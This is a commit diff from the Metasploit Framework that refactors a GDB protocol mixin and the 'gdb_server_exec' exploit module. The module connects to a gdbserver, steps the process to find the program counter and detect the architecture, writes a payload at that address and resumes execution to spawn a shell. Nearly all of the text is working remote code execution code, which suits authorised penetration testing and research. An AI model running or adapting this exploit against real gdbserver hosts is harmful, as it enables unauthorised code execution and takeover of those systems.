Skip to content

Commit c4a173e

Browse files
committed
Remove automatic target, couldn't figure out generic payloads.
1 parent a27754c commit c4a173e

File tree

2 files changed

+43
-30
lines changed

2 files changed

+43
-30
lines changed

lib/msf/core/exploit/gdb.rb

Lines changed: 29 additions & 23 deletions
Original file line numberDiff line numberDiff line change
@@ -18,11 +18,10 @@ module Exploit::Remote::Gdb
1818
# Default list of supported GDB features to send the to the target
1919
GDB_FEATURES = 'qSupported:multiprocess+;qRelocInsn+;qvCont+;'
2020

21-
# Maps arch -> index of register in GDB that holds $PC
21+
# Maps index of register in GDB that holds $PC to architecture
2222
PC_REGISTERS = {
23-
ARCH_X86 => '08',
24-
ARCH_X64 => '10',
25-
ARCH_X86_64 => '10'
23+
'08' => ARCH_X86,
24+
'10' => ARCH_X86_64
2625
}
2726

2827
# Send an ACK packet
@@ -32,7 +31,7 @@ def send_ack
3231
end
3332

3433
# Reads an ACK packet from the wire
35-
# @raise ['received bad ack'] if a bad ACK is received
34+
# @raise [RuntimeError] if a bad ACK is received
3635
def read_ack
3736
unless sock.get_once == '+'
3837
raise 'received bad ack'
@@ -85,17 +84,6 @@ def checksum(str)
8584
"%02x" % str.bytes.inject(0) { |b, sum| (sum+b)%256 }
8685
end
8786

88-
# Gets the current instruction by stepping and parsing the PC register from response
89-
# @return [String] containing the hex-encoded address stored in EIP
90-
def get_pc
91-
# on x64 it is the register under the key "10"
92-
idx = pc_reg_index(payload.arch)
93-
pc = step.split(';').map { |r| r =~ /#{idx}:([a-f0-9]*)/ and $1 }.compact.first
94-
# convert to desired endian/ptr size for a given arch
95-
addr = Rex::Arch.pack_addr(payload.arch, Integer(pc, 16))
96-
Rex::Text.to_hex(addr, '')
97-
end
98-
9987
# Writes the buffer +buf+ to the address +addr+ in the remote process's memory
10088
# @param buf [String] the buffer to write
10189
# @param addr [String] the hex-encoded address to write to
@@ -105,6 +93,24 @@ def write(buf, addr)
10593
read_response
10694
end
10795

96+
# Steps execution and finds $PC pointer and architecture
97+
# @return [Hash] with :arch and :pc keys containing architecture and PC pointer
98+
def process_info
99+
data = step
100+
pc_data = data.split(';')[2].split(':')
101+
my_arch = PC_REGISTERS[pc_data[0]]
102+
pc = pc_data[1]
103+
104+
if my_arch.nil?
105+
raise RuntimeError, "Could not detect a supported arch from response to step:\n#{pc_data}"
106+
end
107+
108+
{
109+
arch: my_arch,
110+
pc: Rex::Text.to_hex(Rex::Arch.pack_addr(my_arch, Integer(pc, 16)), '')
111+
}
112+
end
113+
108114
# Continues execution of the remote process
109115
# @param opts [Hash] the options hash
110116
# @option opts :read [Boolean] read the response
@@ -114,6 +120,13 @@ def continue(opts={})
114120
end
115121

116122
# Executes one instruction on the remote process
123+
#
124+
# The results of running "step" will look like:
125+
# x86: $T0505:00000000;04:a0f7ffbf;08:d2f0fdb7;thread:p2d39.2d39;core:0;#53
126+
# x64: $T0506:0000000000000000;07:b0587f9fff7f0000;10:d3e29d03057f0000;thread:p8bf9.8bf9;core:0;#df
127+
# The third comma-separated field will contain EIP, and the register index
128+
# will let us deduce the remote architecture (through PC_REGISTERS lookup)
129+
#
117130
# @return [String] a list of key/value pairs, including current PC
118131
def step
119132
send_cmd 'vCont;s'
@@ -129,13 +142,6 @@ def handshake(features=GDB_FEATURES)
129142
read_response # lots of flags, nothing interesting
130143
end
131144

132-
# @param my_arch [String, Array] the current system architecture
133-
# @return [String] hex index of the register that contains $PC for the current arch
134-
def pc_reg_index(my_arch)
135-
if my_arch.is_a?(Array) then my_arch = my_arch[0] end
136-
PC_REGISTERS[my_arch]
137-
end
138-
139145
end
140146

141147
end

modules/exploits/multi/gdb/gdb_server_exec.rb

Lines changed: 14 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -17,9 +17,12 @@ def initialize(info = {})
1717
This module attempts to execute an arbitrary payload on a gdbserver service.
1818
},
1919
'Author' => [ 'joev' ],
20-
'Targets' => [ [ 'Automatic', {} ] ],
21-
'Arch' => [ ARCH_X86, ARCH_X64 ],
22-
'Platform' => %w(linux unix osx windows),
20+
'Targets' => [
21+
[ 'x86 (32-bit)', { 'Arch' => ARCH_X86 } ],
22+
[ 'x86_64 (64-bit)', { 'Arch' => ARCH_X86_64 } ]
23+
],
24+
'Arch' => [ ARCH_X86, ARCH_X86_64 ],
25+
'Platform' => %w(linux),
2326
'DefaultTarget' => 0
2427
))
2528
end
@@ -31,16 +34,20 @@ def exploit
3134
handshake
3235

3336
print_status "Stepping program to find PC..."
34-
pc = get_pc
37+
gdb_pc, gdb_arch = process_info.values_at :pc, :arch
3538

36-
print_status "Writing payload at #{pc}..."
37-
write(payload.encoded, pc)
39+
unless arch.include? gdb_arch
40+
fail_with('The payload architecture is incorrect.')
41+
end
42+
43+
print_status "Writing payload at #{gdb_pc}..."
44+
write(payload.encoded, gdb_pc)
3845

3946
print_status "Executing the payload..."
4047
continue
4148

4249
# gdb throws a SIGINT on the execve, so a second continue is necessary
43-
continue(read: false)
50+
continue(read: false) # don't wait on response, as the shell is now looping
4451

4552
handler
4653
disconnect

0 commit comments

Comments
 (0)